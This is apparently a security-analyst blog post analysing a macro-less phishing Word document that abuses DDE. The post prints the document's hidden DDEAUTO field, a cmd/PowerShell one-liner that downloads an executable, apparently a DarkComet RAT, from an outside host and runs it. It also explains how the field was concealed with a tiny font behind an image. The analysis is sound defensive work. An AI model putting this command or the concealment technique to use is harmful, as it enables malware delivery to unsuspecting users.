Dynamic Data Exchange (DDE) is Back in the Wild?
Last Updated: 2021-02-19 07:00:37 UTC
by Xavier Mertens (Version: 1)
DDE or "Dynamic Data Exchange" is a Microsoft technology for interprocess communication used in early versions of Windows and OS/2. DDE allows programs to manipulate objects provided by other programs, and respond to user actions affecting those objects. FOr a while, DDE was partially replaced by Object Linking and Embedding (OLE) but it's still available in the latest versions of the Microsoft operating system for backward compatibility reasons. If fashion is known to be in a state of perpetual renewal, we could say the same in the cybersecurity landscape. Yesterday, I spotted a malicious Word document that abused this DDE technology.
The document was part of a phishing campaign and delivered as "e-Voucher.doc" (SHA256:de966b0d005dda776a6104f999f294d62c5b1f6b6e5c6f79de5135ec66ba4ee4) with a VT score of only 12/62. Are we facing a new wave of such documents? I searched for similar documents on VT for the last 90 days and spotted only 5 files:
Let's have a look at this sample. Because DDE is used, there is no macro involved:
remnux@remnux:/MalwareZoo/20210218$ oledump.py e-Voucher.doc 1: 114 '\x01CompObj' 2: 4096 '\x05DocumentSummaryInformation' 3: 4096 '\x05SummaryInformation' 4: 7791 '1Table' 5: 4096 'Data' 6: 17502 'WordDocument'
Do we have interesting strings present in the document?
remnux@remnux:/MalwareZoo/20210218$ strings -n 30 e-Voucher.doc | less ddeauto "c:\\\\microsoft\\\\office\\\\word\\\\document\\\\..\\\\..\\\\..\\\\..\\\\windows\\\\system32\\\\cmd.exe" "/c powershell.exe (new-object system.net.webclient).downloadfile(' htt p://fullhash.cloud/tmpl_c/mscalc.exe','%temp%\\mscalc.exe');start-process '%temp%\\mscalc.exe'" \* mergeformat theme/theme/_rels/themeManager.xml.rels theme/theme/themeManager.xmlPK theme/theme/_rels/themeManager.xml.relsPK <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <a:clrMap xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" bg1="lt1" tx1="dk1" bg2="lt2" tx2="dk2" accent1="accent1" accent2="accent2" accent3="accent3" accent4="accent4" accent5="accent5" accent6="accent6" hlink="hlink" folHlink="folHlink"/>
You can see the magic word "DDEAUTO" followed by a long command line. But how does it work from a Word processing perspective? When you open the document, you see a classic notification asking you to enable content:
The method used to create DDE links is to work with "fields". You can add fields in a Word document. They may of different information types but, in this case, the most useful is "formula". The attacker tried to hide the form behind the picture by using a very small font size:
By inspecting the field and editing its content, we found the same strings as seen above:
Here is a dump of the Powershell command:
c:\microsoft\office\word\document\..\..\..\..\windows\system32\cmd.exe" "/c powershell.exe (new-object system.net.webclient).downloadfile('hxxp://fullhash[.]cloud/tmpl_c/mscalc.exe','%temp%\\mscalc.exe');start-process '%temp%\\mscalc.exe'
The targeted user will have to allow the execution of this command but the document remains very small, macro-less and detected by a low number of antivirus solutions. About the malware (SHA256:01b9193e59e2e91c749bd90201eee08ea80d8ddf6f138ff3b70fc69c95e2a75c), it seems to be a Darkcomet RAT.
Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant